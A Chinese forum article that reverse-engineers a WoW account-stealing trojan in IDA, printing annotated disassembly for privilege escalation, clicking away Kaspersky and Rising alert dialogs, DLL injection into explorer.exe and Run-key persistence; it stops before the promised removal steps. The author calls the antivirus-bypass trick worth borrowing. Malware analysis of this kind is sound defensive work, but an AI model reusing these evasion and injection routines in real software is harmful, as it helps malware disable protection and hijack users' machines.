逆向分析WOW木马服务端

文章作者:asm
信息来源:邪恶八进制信息安全团队

在看AV的时候正激动,一个网友丢了一个木马服务端过来叫我分析这个木马服务端。反正AV都看腻了,就动手来分析,把这个木马丢到IDA里面去:


;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;文章作者:asm
;信息来源:红狼安全小组
;如欲转载,请保持文章的完整性,并且注明作者等版权信息
;红狼安全小组 http://www.wolfexp.net/forum/
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;*************************************************************************
.text:00401151 Buffer = byte ptr -418h ;局部变量(缓冲区)
.text:00401151 CmdLine = byte ptr -314h
.text:00401151 NewFileName = byte ptr -210h
.text:00401151 var_10D = byte ptr -10Dh
.text:00401151 Data = byte ptr -10Ch
.text:00401151 var_8 = dword ptr -8
.text:00401151 dwProcessId = dword ptr -4
.text:00401151 hModule = dword ptr 8 ;函数参数声明IDA已经识别
.text:00401151 hPrevInstance = dword ptr 0Ch
.text:00401151 lpCmdLine = dword ptr 10h
.text:00401151 nShowCmd = dword ptr 14h
.text:00401151
.text:00401151 push ebp
.text:00401152 mov ebp, esp
.text:00401154 sub esp, 418h
.text:0040115A push ebx
.text:0040115B push esi
.text:0040115C push edi
.text:0040115D nop
.text:0040115E nop
.text:0040115F nop
.text:00401160 nop
.text:00401161 nop
.text:00401162 call sub_4013AB ; 提升本程序的进程令牌获取system权限
;没有通过堆栈传递参数
.text:00401162
.text:00401167 mov esi, 103h
.text:0040116C lea eax, [ebp+Buffer] ; 取缓冲区变量存eax
.text:00401172 push esi ; uSize
.text:00401173 push eax ; lpBuffer
.text:00401174 call ds:GetSystemDirectoryA ; 获取系统目录
.text:0040117A lea eax, [ebp+CmdLine]
.text:00401180 push esi ; uSize
.text:00401181 push eax ; lpBuffer
.text:00401182 call ds:GetWindowsDirectoryA ; 获取windows目录
.text:00401188 lea eax, [ebp+Data]
.text:0040118E push esi ; nSize
.text:0040118F xor ebx, ebx
.text:00401191 push eax ; lpFilename
.text:00401192 push ebx ; hModule
.text:00401193 call ds:GetModuleFileNameA ; eax保存着本程序的自身名字
.text:00401199 mov edi, ds:strrchr
.text:0040119F lea eax, [ebp+Data] ; 将缓冲区变量存eax中并查找
.text:004011A5 push 5Ch ; int
.text:004011A7 push eax ; char *
.text:004011A8 call edi ; strrchr ; 现在调用strrchr对系统目录路径进行处理。
;这步我不知道它要做什么
.text:004011AA pop ecx
.text:004011AB cmp eax, ebx
.text:004011AD pop ecx
.text:004011AE jz short loc_4011B2 ; 函数返回成功,我们看看返回后程序做了什


.text:004011AE
.text:004011B0 mov [eax], bl
;**********************************************************************

^|
| ;这个分支的主干在上面
获取令牌提升权限:


;*********************************************************************************
.text:004013AB NewState = _TOKEN_PRIVILEGES ptr -1Ch
.text:004013AB Luid = _LUID ptr -0Ch
.text:004013AB TokenHandle = dword ptr -4
.text:004013AB
.text:004013AB push ebp
.text:004013AC mov ebp, esp
.text:004013AE sub esp, 1Ch ; 分配空间
.text:004013B1 lea eax, [ebp+TokenHandle]
.text:004013B4 push eax ; TokenHandle
.text:004013B5 push 28h ; DesiredAccess
.text:004013B7 call ds:GetCurrentProcess ; 获取自身进程PID
.text:004013BD push eax ; ProcessHandle
.text:004013BE call ds:OpenProcessToken ; Open the access token associated

with a process
.text:004013C4 test eax, eax ;返回值是否为0,也就是返回是否成
.text:004013C6 jz short locret_401417
.text:004013C6
.text:004013C8 lea eax, [ebp+Luid] ;取出LUID串存eax,这个LUID要设置

成"SeDebugPrivilege"
.text:004013CB push eax ; lpLuid
.text:004013CC push offset Name ; "SeDebugPrivilege"
.text:004013D1 push 0 ; lpSystemName
.text:004013D3 call ds:LookupPrivilegeValueA ; 获取了"SeDebugPrivilege"标志的

令牌
.text:004013D9 test eax, eax ; 返回值是否为0
.text:004013DB jnz short loc_4013E8
.text:004013DB
.text:004013DD push [ebp+TokenHandle] ; hObject
.text:004013E0 call ds:CloseHandle ;如果函数调用不成功,就关闭句柄返回
.text:004013E6 leave
.text:004013E7 retn
.text:004013E7
.text:004013E8 ; ---------------------------------------------------------------------------
.text:004013E8
.text:004013E8 loc_4013E8:
.text:004013E8 mov eax, [ebp+Luid.LowPart]
.text:004013EB push 0 ; ReturnLength
.text:004013ED mov [ebp+NewState.Privileges.Luid.LowPart], eax
.text:004013F0 mov eax, [ebp+Luid.HighPart]
.text:004013F3 mov [ebp+NewState.Privileges.Luid.HighPart], eax
.text:004013F6 push 0 ; PreviousState
.text:004013F8 lea eax, [ebp+NewState]
.text:004013FB push 10h ; BufferLength
.text:004013FD push eax ; NewState
.text:004013FE push 0 ; DisableAllPrivileges
.text:00401400 push [ebp+TokenHandle] ; TokenHandle
.text:00401403 mov [ebp+NewState.PrivilegeCount], 1
.text:0040140A mov [ebp+NewState.Privileges.Attributes], 2
.text:00401411 call ds:AdjustTokenPrivileges ; 把自己的进程提升到了system.
;这样做的目的也很明显了,要么保护

自己,要么进行别的小动作
.text:00401411
.text:00401417
.text:00401417 locret_401417:
.text:00401417 leave
.text:00401418 retn
.text:00401418
.text:00401418 sub_4013AB endp
;**************************************************************************

^|
| ;这个分支的主干在上面
程序做了这个动作----
;**************************************************************************
.text:004011B2 loc_4011B2:
.text:004011B2 push 1
.text:004011B4 call sub_4016A2 ;这里就是对strrchr函数进行处理,是一些关于
;音频设备的,我们不需要关心
.text:004011B4
.text:004011B9 pop ecx
.text:004011BA push ebx ; lpThreadId
.text:004011BB push ebx ; dwCreationFlags
.text:004011BC push ebx ; lpParameter
.text:004011BD push offset StartAddress ; lpStartAddress
.text:004011C2 push 400h ; dwStackSize
.text:004011C7 push ebx ; lpThreadAttributes
.text:004011C8 call ds:CreateThread ; 创建一个线程来结束卡巴和瑞星的警告
;现在我们走到这个分支来看看,看看offset

;StartAddress
;存的是什么
.text:004011CE lea eax, [ebp+CmdLine]
.text:004011D4 push eax ; char *
.text:004011D5 lea eax, [ebp+Data]
.text:004011DB push eax ; char *
.text:004011DC call ds:_stricmp ;对比一下是否发现已经中了本马
.text:004011E2 pop ecx
.text:004011E3 test eax, eax
.text:004011E5 pop ecx
.text:004011E6 jnz loc_401311 ; 把自己身复制到系统目录并且运行
;**********************************************************************

创建一个线程对杀毒软件进行处理 |^ ;这个分支的主干在上面

;**************************************************************************
.text:00401594 StartAddress proc near
.text:00401594
.text:00401594 var_8 = dword ptr -8 ;都是局部变量的声明
.text:00401594 hWnd = dword ptr -4
.text:00401594
.text:00401594 push ebp
.text:00401595 mov ebp, esp
.text:00401597 push ecx
.text:00401598 push ecx
.text:00401599 push ebx
.text:0040159A push esi
.text:0040159B push edi
.text:0040159C nop
.text:0040159D mov esi, ds:SendMessageA
.text:004015A3 xor edi, edi
.text:004015A5 mov ebx, 202h
.text:004015A5
.text:004015AA
.text:004015AA loc_4015AA: ; CODE XREF: StartAddress+FCj
.text:004015AA ; StartAddress+109j
.text:004015AA push 1 ; dwMilliseconds
.text:004015AC call ds:Sleep
.text:004015B2 push edi ; lpWindowName
.text:004015B3 push offset ClassName ; "AVP.AlertDialog"
.text:004015B8 call ds:FindWindowA ;查找卡巴的警告窗口
.text:004015BE cmp eax, edi
.text:004015C0 mov [ebp+var_8], eax
.text:004015C3 jz loc_40166B
.text:004015C3
.text:004015C9 push offset s_A ; "允许"
.text:004015CE push edi ; LPCSTR
.text:004015CF push edi ; HWND
.text:004015D0 push eax ; HWND
.text:004015D1 call ds:FindWindowExA
.text:004015D7 cmp eax, edi
.text:004015D9 mov [ebp+hWnd], eax
.text:004015DC jz short loc_4015F0
.text:004015DC
.text:004015DE push edi ; lParam
.text:004015DF push edi ; wParam
.text:004015E0 push 201h ; Msg
.text:004015E5 push eax ; hWnd
.text:004015E6 call esi ; SendMessageA ;模拟用户按键点击了"允许"
;看来是要对卡巴做些小动作了
.text:004015E8 push edi ; lParam
.text:004015E9 push edi ; wParam
.text:004015EA push ebx ; Msg
.text:004015EB push [ebp+hWnd] ; hWnd
.text:004015EE call esi ; SendMessageA ;发送关闭消息关闭这个AVP.AlertDialog窗


.text:004015EE
;下面的代码都是一样了
.text:004015F0
.text:004015F0 loc_4015F0:
.text:004015F0 push offset asc_403104 ; "跳过"
.text:004015F5 push edi ; LPCSTR
.text:004015F6 push edi ; HWND
.text:004015F7 push [ebp+var_8] ; HWND
.text:004015FA call ds:FindWindowExA ;查找有"跳过"字符的窗口类
.text:00401600 cmp eax, edi
.text:00401602 mov [ebp+hWnd], eax
.text:00401605 jz short loc_401619
.text:00401605
.text:00401607 push edi ; lParam
.text:00401608 push edi ; wParam
.text:00401609 push 201h ; Msg
.text:0040160E push eax ; hWnd
.text:0040160F call esi ; SendMessageA ;发送点击的消息
.text:00401611 push edi ; lParam
.text:00401612 push edi ; wParam
.text:00401613 push ebx ; Msg
.text:00401614 push [ebp+hWnd] ; hWnd
.text:00401617 call esi ; SendMessageA ;关闭这个窗口来逃避杀毒
.text:00401617
.text:00401619
.text:00401619 loc_401619:
.text:00401619 push offset s_AA ; "允许(&A)"
.text:0040161E push edi ; LPCSTR
.text:0040161F push edi ; HWND
.text:00401620 push [ebp+var_8] ; HWND
.text:00401623 call ds:FindWindowExA
.text:00401629 cmp eax, edi
.text:0040162B mov [ebp+hWnd], eax
.text:0040162E jz short loc_401642
.text:0040162E
.text:00401630 push edi ; lParam
.text:00401631 push edi ; wParam
.text:00401632 push 201h ; Msg
.text:00401637 push eax ; hWnd
.text:00401638 call esi ; SendMessageA
.text:0040163A push edi ; lParam
.text:0040163B push edi ; wParam
.text:0040163C push ebx ; Msg
.text:0040163D push [ebp+hWnd] ; hWnd
.text:00401640 call esi ; SendMessageA
.text:00401640
.text:00401642
.text:00401642 loc_401642:
.text:00401642 push offset s_S ; "跳过(&S)"
.text:00401647 push edi ; LPCSTR
.text:00401648 push edi ; HWND
.text:00401649 push [ebp+var_8] ; HWND
.text:0040164C call ds:FindWindowExA
.text:00401652 cmp eax, edi
.text:00401654 mov [ebp+hWnd], eax
.text:00401657 jz short loc_40166B
.text:00401657
.text:00401659 push edi ; lParam
.text:0040165A push edi ; wParam
.text:0040165B push 201h ; Msg
.text:00401660 push eax ; hWnd
.text:00401661 call esi ; SendMessageA
.text:00401663 push edi ; lParam
.text:00401664 push edi ; wParam
.text:00401665 push ebx ; Msg
.text:00401666 push [ebp+hWnd] ; hWnd
.text:00401669 call esi ; SendMessageA
.text:00401669
.text:0040166B
.text:0040166B loc_40166B:
.text:0040166B
.text:0040166B push edi ; lpWindowName
.text:0040166C push offset s_Avp_product_n ; "AVP.Product_Notification"
.text:00401671 call ds:FindWindowA ;查找"AVP.Product_Notification"窗口类
.text:00401677 cmp eax, edi
.text:00401679 jz short loc_401682
.text:00401679
.text:0040167B push edi ; lParam
.text:0040167C push edi ; wParam
.text:0040167D push 10h ; Msg
.text:0040167F push eax ; hWnd
.text:00401680 call esi ; SendMessageA
.text:00401680
.text:00401682
.text:00401682 loc_401682:
.text:00401682 push offset WindowName ; "瑞星注册表监控提示"
.text:00401687 push edi ; lpClassName
.text:00401688 call ds:FindWindowA ;叼,想关闭瑞星注册表监控写入启动项
.text:0040168E cmp eax, edi
.text:00401690 jz loc_4015AA
.text:00401690
.text:00401696 push edi ; lParam
.text:00401697 push edi ; wParam
.text:00401698 push 10h ; Msg
.text:0040169A push eax ; hWnd
.text:0040169B call esi ; SendMessageA
.text:0040169D jmp loc_4015AA
.text:0040169D
.text:0040169D StartAddress endp
;**********************************************************************

看来这个分支是对杀毒软件进行处理,首先FindWindows找一些标识,比如"允许",如果发送消息模拟鼠标点击关闭这个这个警告,从而使得杀毒软件对它失效。这个方法可以借鉴!
(启动后搜索标题为AVP.AlertDialog的 Kaspersky 的警告窗口,模拟点击按钮“允许”和“跳过” 向
Kaspersky 的通知窗口(类名为:AVP.Product_Notification)发送WM_CLOSE消息结束该窗口)

把自己复制到系统目录并且运行 |^

;**************************************************************************************
loc_401311:
.text:00401311 mov edi, ds:sprintf
.text:00401317 lea eax, [ebp+CmdLine]
.text:0040131D push offset s_Mppds_exe ; "mppds.exe"
.text:00401322 push eax
.text:00401323 lea eax, [ebp+NewFileName]
.text:00401329 push offset s_SS ; "%s\\%s"
.text:0040132E push eax ; char *
.text:0040132F call edi ; sprintf ; 创建新文件
.text:00401331 add esp, 10h
.text:00401334 lea eax, [ebp+Data]
.text:0040133A push esi ; nSize
.text:0040133B push eax ; lpFilename
.text:0040133C push ebx ; hModule
.text:0040133D call ds:GetModuleFileNameA ; 获取新文件的名字
.text:00401343 lea eax, [ebp+NewFileName]
.text:00401349 push ebx ; bFailIfExists
.text:0040134A push eax ; lpNewFileName
.text:0040134B lea eax, [ebp+Data] ; 保存有windows目录路径的缓冲区
.text:00401351 push eax ; lpExistingFileName
.text:00401352 call ds:CopyFileA ; 很明显,是把自己复制到windows目录
.text:00401358 call ds:GetCurrentProcessId ; 获取自身的PID
.text:0040135E push eax
.text:0040135F lea eax, [ebp+Data]
.text:00401365 push 40h
.text:00401367 push eax
.text:00401368 lea eax, [ebp+NewFileName]
.text:0040136E push 40h
.text:00401370 push eax
.text:00401371 lea eax, [ebp+CmdLine]
.text:00401377 push offset s_SCSCD ; "%s %c%s%c%d"
.text:0040137C push eax ; char *
.text:0040137D call edi ; sprintf ; NewFileName缓冲区里保存的
;应该是c:\windows\mppds.exe
.text:0040137F add esp, 1Ch
.text:00401382 lea eax, [ebp+CmdLine]
.text:00401388 push ebx ; uCmdShow
.text:00401389 push eax ; lpCmdLine
.text:0040138A call ds:WinExec ; 用命令行的方式启动这个windows
;目录里的病毒
.text:0040138A
.text:00401390
.text:00401390 loc_401390:
.text:00401390 push 3E8h ; dwMilliseconds
.text:00401395 call ds:Sleep ; 休眠
.text:0040139B push ebx
.text:0040139C call sub_4016A2 ; 这里是干什么的?都是一些
;关于音频设备的函数
.text:0040139C
.text:004013A1 pop ecx
.text:004013A2 pop edi
.text:004013A3 pop esi
.text:004013A4 xor eax, eax
.text:004013A6 pop ebx
.text:004013A7 leave
.text:004013A8 retn 10h
.text:004013A8
.text:004013A8 __stdcall WinMain(x, x, x, x) endp
;********************************************************************************

到这里呢,我们可以清楚滴了解了这个木马的前期工作–提升进程权限–关闭杀毒软件–复制自身到windows并且执行。


;********************************************************************************
.text:004011EC call ds:GetCommandLineA ; 获取自身的命令行参数
.text:004011F2 push 40h ; int
.text:004011F4 push eax ; char *
.text:004011F5 mov [ebp+dwProcessId], eax
.text:004011F8 call ds:strchr
.text:004011FE push 40h ; int
.text:00401200 mov [ebp+var_8], eax
.text:00401203 push [ebp+dwProcessId] ; char *
.text:00401206 call edi ; strrchr
.text:00401208 add esp, 10h
.text:0040120B cmp [ebp+var_8], ebx
.text:0040120E mov edi, eax
.text:00401210 jz short loc_40128C ;来看一下这个分支原来是查找桌面

;进程准备线程注入
.text:00401210
.text:00401212 cmp edi, ebx
.text:00401214 jz short loc_40128C
;********************************************************************************

short loc_40128C |^

;********************************************************************************
.text:0040128C loc_40128C:
.text:0040128C
.text:0040128C
.text:0040128C push offset s_Explorer_exe ; "explorer.exe"
.text:00401291 call sub_401000 ; 列举explorer的进程
;并且保存PID和进程名
.text:00401291
.text:00401296 mov edi, eax ; 保存explorer.exe进程名到edi
.text:00401298 pop ecx
.text:00401299 cmp edi, ebx ; 对比一下进程PID
.text:0040129B jz short loc_4012ED ; 执行分支
.text:0040129B
.text:0040129D lea eax, [ebp+Buffer] ; 取系统目录路径传送到eax
.text:004012A3 push offset s_Mppds_dll ; "mppds.dll"
.text:004012A8 push eax ; 传递系统目录压栈
.text:004012A9 lea eax, [ebp+NewFileName] ; 新的文件名到eax
.text:004012AF push offset s_SS ; "%s\\%s"
.text:004012B4 push eax ; char *
.text:004012B5 call ds:sprintf ; sprontf(char *buffer "%s\\%s",char *test

mppds.dll)
.text:004012BB lea eax, [ebp+NewFileName]
.text:004012C1 push eax ; char *
.text:004012C2 push offset Type ; "DLL"
.text:004012C7 push 65h ; lpName
.text:004012C9 push [ebp+hModule] ; hModule
.text:004012CC call sub_40108D ; 开始查找dll资源,准备释放
.text:004012CC
.text:004012D1 add esp, 20h ;释放堆栈
.text:004012D4 test al, al
.text:004012D6 jz short loc_4012ED
.text:004012D6
.text:004012D8 lea eax, [ebp+NewFileName]
.text:004012DE push offset Parameter ; "fa"
.text:004012E3 push eax ; lpBuffer
.text:004012E4 push edi ; hProcess
.text:004012E5 call sub_401444 ; 开始创建远程线程注入
.text:004012E5
.text:004012EA add esp, 0Ch
.text:004012EA
.text:004012ED
.text:004012ED loc_4012ED:
.text:004012ED
.text:004012ED lea eax, [ebp+Data]
.text:004012F3 push esi ; nSize
.text:004012F4 push eax ; lpFilename
.text:004012F5 push ebx ; hModule
.text:004012F6 call ds:GetModuleFileNameA ; 获取自身模块名称
.text:004012FC lea eax, [ebp+Data] ; 传送windows路径
.text:00401302 push eax ; lpData
.text:00401303 push offset ValueName ; "mppds"
.text:00401308 call sub_40179B ; 很显然,开始注册成注册表启动了
.text:00401308
.text:0040130D pop ecx
.text:0040130E pop ecx
.text:0040130F jmp short loc_401390
.text:0040130F
;********************************************************************************

通过上面的我们已经知道,木马开始查找explorer.exe并且保存这次查找的程序名和PID

这个是分支short loc_4012ED, 获取explorer的进程和PID:|^
;********************************************************************************
.text:00401000 sub_401000 proc near
.text:00401000
.text:00401000 pe = PROCESSENTRY32 ptr -128h
.text:00401000 arg_0 = dword ptr 8
.text:00401000
.text:00401000 push ebp
.text:00401001 mov ebp, esp
.text:00401003 sub esp, 128h ;分配空间
.text:00401009 push ebx ;保存所有寄存器
.text:0040100A push esi
.text:0040100B push edi
.text:0040100C nop
.text:0040100D nop
.text:0040100E push 49h
.text:00401010 xor ebx, ebx
.text:00401012 pop ecx
.text:00401013 xor eax, eax
.text:00401015 lea edi, [ebp+pe.cntUsage]
.text:0040101B mov [ebp+pe.dwSize], ebx
.text:00401021 push ebx ; th32ProcessID
.text:00401022 push 2 ; dwFlags
.text:00401024 rep stosd
.text:00401026 call CreateToolhelp32Snapshot ; 获取快照
.text:00401026
.text:0040102B mov edi, eax
.text:0040102D lea eax, [ebp+pe]
.text:00401033 push eax ; lppe
.text:00401034 push edi ; hSnapshot
.text:00401035 mov [ebp+pe.dwSize], 128h
.text:0040103F call Process32First
.text:0040103F
.text:00401044 mov esi, ds:_stricmp ; 对比是否发现explorer.exe
.text:0040104A lea eax, [ebp+pe.szExeFile] ; eax保存着本次查找的进程名称
.text:00401050 push eax ; char *
.text:00401051 push [ebp+arg_0] ; char *
.text:00401051
.text:00401054
.text:00401054 loc_401054:
.text:00401054 call esi ; _stricmp
.text:00401056 pop ecx
.text:00401057 test eax, eax
.text:00401059 pop ecx
.text:0040105A jz short loc_401079 ; 保存列举进程的PID值到ebx
.text:0040105A
.text:0040105C lea eax, [ebp+pe]
.text:00401062 push eax ; lppe
.text:00401063 push edi ; hSnapshot
.text:00401064 call Process32Next
.text:00401064
.text:00401069 test eax, eax
.text:0040106B jz short loc_40107F
.text:0040106B
.text:0040106D lea eax, [ebp+pe.szExeFile] ; 将列举到的explorer.exe进程存到

eax
.text:00401073 push eax ; 压栈传递参数
.text:00401074 push [ebp+arg_0]
.text:00401077 jmp short loc_401054
.text:00401077
.text:00401079 ; ---------------------------------------------------------------------------
.text:00401079
.text:00401079 loc_401079:
.text:00401079 mov ebx, [ebp+pe.th32ProcessID] ; 保存列举进程的PID值到ebx
.text:00401079
.text:0040107F
.text:0040107F loc_40107F:
.text:0040107F push edi ; hObject
.text:00401080 call ds:CloseHandle ; 关闭快照句柄
.text:00401086 pop edi
.text:00401087 mov eax, ebx
.text:00401089 pop esi
.text:0040108A pop ebx
.text:0040108B leave
.text:0040108C retn
.text:0040108C
.text:0040108C sub_401000 endp
.text:0040108C
;********************************************************************************


释放一个dll,开始查找资源,将资源写到windows目录:
;*********************************************************************************
.text:0040108D sub_40108D proc near
.text:0040108D
.text:0040108D hModule = dword ptr 8
.text:0040108D lpName = dword ptr 0Ch
.text:0040108D lpType = dword ptr 10h
.text:0040108D arg_C = dword ptr 14h
.text:0040108D
.text:0040108D push ebp
.text:0040108E mov ebp, esp
.text:00401090 push ebx ; 保存堆栈
.text:00401091 push esi
.text:00401092 push edi
.text:00401093 push [ebp+lpType] ; lpType
.text:00401096 push [ebp+lpName] ; lpName
.text:00401099 push [ebp+hModule] ; hModule
.text:0040109C call ds:FindResourceA ;查找资源
.text:004010A2 mov esi, eax ;保存句柄
.text:004010A4 test esi, esi ;查找是否成功?
.text:004010A6 jz short loc_4010E5 ;不成功跳到这里来
.text:004010A6
.text:004010A8 push esi ; hResInfo
.text:004010A9 push [ebp+hModule] ; hModule
.text:004010AC call ds:SizeofResource ;获取资源长度
.text:004010B2 push esi ; hResInfo
.text:004010B3 mov ebx, eax
.text:004010B5 push [ebp+hModule] ; hModule
.text:004010B8 call ds:LoadResource ;装载资源
.text:004010BE test eax, eax
.text:004010C0 jz short loc_4010E5
.text:004010C0
.text:004010C2 push eax ; hResData
.text:004010C3 call ds:LockResource ;锁定资源
.text:004010C9 mov edi, eax
.text:004010CB test edi, edi ; 锁定资源的句柄
.text:004010CD jz short loc_4010E5
.text:004010CD
.text:004010CF push offset s_Wb ; "wb"
.text:004010D4 push [ebp+arg_C] ; char *
.text:004010D7 call ds:fopen ;可写的权限打开
.text:004010DD mov esi, eax ;保存到esi中
.text:004010DF pop ecx
.text:004010E0 test esi, esi
.text:004010E2 pop ecx
.text:004010E3 jnz short loc_4010E9
.text:004010E3
.text:004010E5
.text:004010E5 loc_4010E5:
.text:004010E5
.text:004010E5
.text:004010E5 xor al, al
.text:004010E7 jmp short loc_401100
.text:004010E7
.text:004010E9 ; ---------------------------------------------------------------------------
.text:004010E9
.text:004010E9 loc_4010E9:
.text:004010E9 push esi ;上一函数的句柄压栈
.text:004010EA push 1 ; size_t
.text:004010EC push ebx ; size_t
.text:004010ED push edi ; void *
.text:004010EE call ds:fwrite ;开始写入dll到windows目录了
.text:004010F4 push esi ; FILE *
.text:004010F5 call ds:fclose ;关闭
.text:004010FB add esp, 14h
.text:004010FE mov al, 1
.text:004010FE
.text:00401100
.text:00401100 loc_401100:
.text:00401100 pop edi
.text:00401101 pop esi
.text:00401102 pop ebx
.text:00401103 pop ebp
.text:00401104 retn
.text:00401104
.text:00401104 sub_40108D endp
;**************************************************************************

;现在就是设置远程线程来执行这个dll了 |^ ;这个分支的主干在上面
;*********************************************************************

.text:00401444 sub_401444 proc near
.text:00401444
.text:00401444
.text:00401444 Buffer = dword ptr -134h ;局部变量
.text:00401444 var_130 = dword ptr -130h
.text:00401444 var_12C = dword ptr -12Ch
.text:00401444 var_128 = byte ptr -128h
.text:00401444 var_24 = byte ptr -24h
.text:00401444 hModule = dword ptr -4
.text:00401444 hProcess = dword ptr 8 ;函数参数
.text:00401444 lpBuffer = dword ptr 0Ch
.text:00401444 lpParameter = dword ptr 10h
.text:00401444
.text:00401444 push ebp
.text:00401445 mov ebp, esp
.text:00401447 sub esp, 134h
.text:0040144D push ebx
.text:0040144E push esi
.text:0040144F push edi
.text:00401450 xor ebx, ebx
.text:00401452 push [ebp+hProcess] ; dwProcessId
.text:00401455 push ebx ; bInheritHandle
.text:00401456 push 1F0FFFh ; <suspicious> ; dwDesiredAccess
.text:0040145B call ds:OpenProcess ;打开进程PID
.text:00401461 cmp eax, ebx
.text:00401463 mov [ebp+hProcess], eax
.text:00401466 jz loc_40158F
.text:00401466
.text:0040146C push offset LibFileName ; "kernel32.dll"
.text:00401471 call ds:LoadLibraryA ;装载dll,可以发现,它准备找出

;kernel32.dll中的LoadLibraryA和

;GetProcAddress
.text:00401477 mov edi, 130h
.text:0040147C mov [ebp+hModule], eax
.text:0040147F push edi ; size_t
.text:00401480 lea eax, [ebp+Buffer]
.text:00401486 push ebx ; int
.text:00401487 push eax ; void *
.text:00401488 call memset
.text:00401488
.text:0040148D mov esi, ds:GetProcAddress
.text:00401493 add esp, 0Ch
.text:00401496 push offset ProcName ; "LoadLibraryA"
.text:0040149B push [ebp+hModule] ; hModule
.text:0040149E call esi ; GetProcAddress ;获取LoadLibrary地址
.text:004014A0 push offset s_Getprocaddres ; "GetProcAddress"
.text:004014A5 mov [ebp+Buffer], eax
.text:004014AB push [ebp+hModule] ; hModule
.text:004014AE call esi ; GetProcAddress
.text:004014B0 push offset s_Sleep ; "Sleep"
.text:004014B5 mov [ebp+var_130], eax
.text:004014BB push [ebp+hModule] ; hModule
.text:004014BE call esi ; GetProcAddress
.text:004014C0 push [ebp+lpBuffer] ; char *
.text:004014C3 mov [ebp+var_12C], eax
.text:004014C9 lea eax, [ebp+var_128]
.text:004014CF push eax ; char *
.text:004014D0 call strcpy
.text:004014D0
.text:004014D5 push [ebp+lpParameter] ; char *
.text:004014D8 lea eax, [ebp+var_24]
.text:004014DB push eax ; char *
.text:004014DC call strcpy
.text:004014DC
.text:004014E1 add esp, 10h
.text:004014E4 mov esi, ds:VirtualAllocEx
.text:004014EA push 4 ; flProtect
.text:004014EC push 1000h ; flAllocationType
.text:004014F1 push edi ; dwSize
.text:004014F2 push ebx ; lpAddress
.text:004014F3 push [ebp+hProcess] ; hProcess
.text:004014F6 call esi ; VirtualAllocEx
.text:004014F8 cmp eax, ebx
.text:004014FA mov [ebp+lpParameter], eax
.text:004014FD jz loc_40158F
.text:004014FD
.text:00401503 push ebx ; lpNumberOfBytesWritten
.text:00401504 lea ecx, [ebp+Buffer]
.text:0040150A push edi ; nSize
.text:0040150B push ecx ; lpBuffer
.text:0040150C push eax ; lpBaseAddress
.text:0040150D push [ebp+hProcess] ; hProcess
.text:00401510 call ds:WriteProcessMemory ;开始写入explorer
.text:00401516 test eax, eax
.text:00401518 jz short loc_40158F
.text:00401518
.text:0040151A mov edi, offset sub_401444
.text:0040151F sub edi, offset sub_401419
.text:00401525 push edi ; dwBytes
.text:00401526 push ebx ; uFlags
.text:00401527 call ds:GlobalAlloc ;分配一快内存
.text:0040152D push eax ; hMem
.text:0040152E mov [ebp+lpBuffer], eax
.text:00401531 call ds:GlobalLock ;锁定分配的
.text:00401537 push edi ; dwSize
.text:00401538 push [ebp+lpBuffer] ; void *
.text:0040153B push offset sub_401419 ; lpAddress
.text:00401540 call ds:GetCurrentProcess
.text:00401546 push eax ; hProcess
.text:00401547 call sub_401105
.text:00401547
.text:0040154C add esp, 10h
.text:0040154F test al, al
.text:00401551 jz short loc_40158F
.text:00401551
.text:00401553 push 40h ; flProtect
.text:00401555 push 1000h ; flAllocationType
.text:0040155A push edi ; dwSize
.text:0040155B push ebx ; lpAddress
.text:0040155C push [ebp+hProcess] ; hProcess
.text:0040155F call esi ; VirtualAllocEx
.text:00401561 mov esi, eax
.text:00401563 cmp esi, ebx
.text:00401565 jz short loc_40158F
.text:00401565
.text:00401567 push ebx ; lpNumberOfBytesWritten
.text:00401568 push edi ; nSize
.text:00401569 push [ebp+lpBuffer] ; lpBuffer
.text:0040156C push esi ; lpBaseAddress
.text:0040156D push [ebp+hProcess] ; hProcess
.text:00401570 call ds:WriteProcessMemory
.text:00401576 test eax, eax
.text:00401578 jz short loc_40158F
.text:00401578
.text:0040157A push ebx ; lpThreadId
.text:0040157B push ebx ; dwCreationFlags
.text:0040157C push [ebp+lpParameter] ; lpParameter
.text:0040157F push esi ; lpStartAddress
.text:00401580 push 400h ; dwStackSize
.text:00401585 push ebx ; lpThreadAttributes
.text:00401586 push [ebp+hProcess] ; hProcess
.text:00401589 call ds:CreateRemoteThread ;写入执行
.text:00401589
.text:0040158F
.text:0040158F loc_40158F:
.text:0040158F
.text:0040158F
.text:0040158F
.text:0040158F
.text:0040158F
.text:0040158F pop edi
.text:00401590 pop esi
.text:00401591 pop ebx
.text:00401592 leave
.text:00401593 retn
.text:00401593
.text:00401593 sub_401444 endp
;***************************************************************************************


最后设置注册表启动,因为前面已经分析,它已经关闭瑞星的注册表监控和卡巴的了,这里它可以随便写都没有东西拦截:
;***************************************************************************************
.text:0040179B sub_40179B proc near
.text:0040179B
.text:0040179B hKey = dword ptr -4
.text:0040179B lpValueName = dword ptr 8
.text:0040179B lpData = dword ptr 0Ch
.text:0040179B
.text:0040179B push ebp
.text:0040179C mov ebp, esp
.text:0040179E push ecx
.text:0040179F lea eax, [ebp+hKey] ; 从缓冲区中取出key值
.text:004017A2 push eax ; phkResult
.text:004017A3 push 0F003Fh ; <suspicious> ; samDesired
.text:004017A8 push 0 ; ulOptions
.text:004017AA push offset SubKey ;

"SoftWare\\Microsoft\\Windows\\CurrentVersi"...
.text:004017AF push 80000002h ; hKey
.text:004017B4 call ds:RegOpenKeyExA ; 打开注册表主键
.text:004017BA test eax, eax
.text:004017BC jnz short locret_4017E4 ; 返回成功的话,就开始设置键值
.text:004017BC
.text:004017BE push [ebp+lpData] ; char *
.text:004017C1 call strlen ; 计算要写入注册表字符的长度
.text:004017C1
.text:004017C6 pop ecx
.text:004017C7 push eax ; cbData
.text:004017C8 push [ebp+lpData] ;写入的键值(从缓冲区中取出)
.text:004017CB push 1 ; dwType
.text:004017CD push 0 ; Reserved
.text:004017CF push [ebp+lpValueName] ; lpValueName
.text:004017D2 push [ebp+hKey] ; hKey
.text:004017D5 call ds:RegSetValueExA ;开始设置
.text:004017DB push [ebp+hKey] ; hKey
.text:004017DE call ds:RegCloseKey
.text:004017DE
.text:004017E4
.text:004017E4 locret_4017E4:
.text:004017E4 leave
.text:004017E5 retn
.text:004017E5
.text:004017E5 sub_40179B endp
;**********************************************************************

到这里,程序分析完毕!如果谁中了这个wow木马,可以这样清除:
